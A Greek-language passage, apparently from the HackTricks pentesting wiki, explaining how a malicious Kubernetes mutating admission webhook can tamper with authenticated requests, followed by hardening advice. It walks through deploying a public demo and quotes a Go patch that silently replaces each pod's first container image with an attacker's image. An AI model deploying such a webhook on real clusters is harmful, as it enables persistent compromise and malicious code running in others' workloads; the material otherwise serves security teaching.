Εάν ένας επιτιθέμενος καταφέρει κατά κάποιον τρόπο να εισαγάγει έναν κακόβουλο ελεγκτή αδειοδότησης μεταλλαγής, θα είναι σε θέση να τροποποιήσει ήδη αυθεντικοποιημένα αιτήματα. Μπορεί να έχει τη δυνατότητα να αναβαθμίσει τα δικαιώματα πρόσβασης ή να παραμείνει μόνιμα στο cluster.

Παράδειγμα από https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Ελέγξτε την κατάσταση για να δείτε αν είναι έτοιμο:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
mutating-webhook-status-check.PNG

Στη συνέχεια, αναπτύξτε ένα νέο pod:

kubectl run nginx --image nginx
kubectl get po -w

Όταν βλέπετε το σφάλμα ErrImagePull, ελέγξτε το όνομα της εικόνας με οποιαδήποτε από τις παρακάτω ερωτήσεις:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Όπως μπορείτε να δείτε στην παραπάνω εικόνα, προσπαθήσαμε να εκτελέσουμε την εικόνα nginx αλλά η τελική εκτελούμενη εικόνα είναι η rewanthtammana/malicious-image. Τι συνέβη;;;

Τεχνικές λεπτομέρειες

Το σενάριο ./deploy.sh δημιουργεί έναν μεταλλασσόμενο χειριστή εισαγωγής webhook, ο οποίος τροποποιεί τα αιτήματα προς το Kubernetes API όπως καθορίζεται στις γραμμές της διαμόρφωσής του, επηρεάζοντας τα παρατηρούμενα αποτελέσματα:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

Το παραπάνω απόσπασμα αντικαθιστά την πρώτη εικόνα του container σε κάθε pod με το rewanthtammana/malicious-image.

Βέλτιστες Πρακτικές

Απενεργοποίηση της Αυτόματης Σύνδεσης των Λογαριασμών Υπηρεσίας

  • Pods και Λογαριασμοί Υπηρεσίας: Από προεπιλογή, τα pods συνδέουν ένα διακριτικό λογαριασμού υπηρεσίας. Για να ενισχυθεί η ασφάλεια, το Kubernetes επιτρέπει την απενεργοποίηση αυτής της λειτουργίας αυτόματης σύνδεσης.

  • Πώς να εφαρμόσετε: Ορίστε την παράμετρο automountServiceAccountToken: false στη διαμόρφωση των λογαριασμών υπηρεσίας ή των pods από την έκδοση 1.6 του Kubernetes.

Περιοριστική Ανάθεση Χρήστη στα RoleBindings/ClusterRoleBindings

  • Εκλεκτική Συμπερίληψη: Βεβαιωθείτε ότι στα RoleBindings ή ClusterRoleBindings περιλαμβάνονται μόνο οι απαραίτητοι χρήστες. Ελέγχετε και αφαιρείτε τα μη σχετικά χρήστες τακτικά για να διατηρήσετε την ασφάλεια.

Ρόλοι Που Ισχύουν Μόνο για Συγκεκριμένο Namespace Αντί για Ρόλους που Ισχύουν για Ολόκληρο το Cluster

  • Ρόλοι έναντι Ρόλων Ολόκληρου του Cluster: Προτιμήστε τη χρήση Ρόλων και RoleBindings για δικαιώματα που ισχύουν μόνο για συγκεκριμένο namespace αντί για ClusterRoles και ClusterRoleBindings που ισχύουν για ολόκληρο το cluster. Αυτή η προσέγγιση προσφέρει πιο λεπτομερή έλεγχο και περιορίζει το πεδίο των δικαιωμάτων.

Χρήση αυτοματοποιημένων εργαλείων

Αναφορές

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated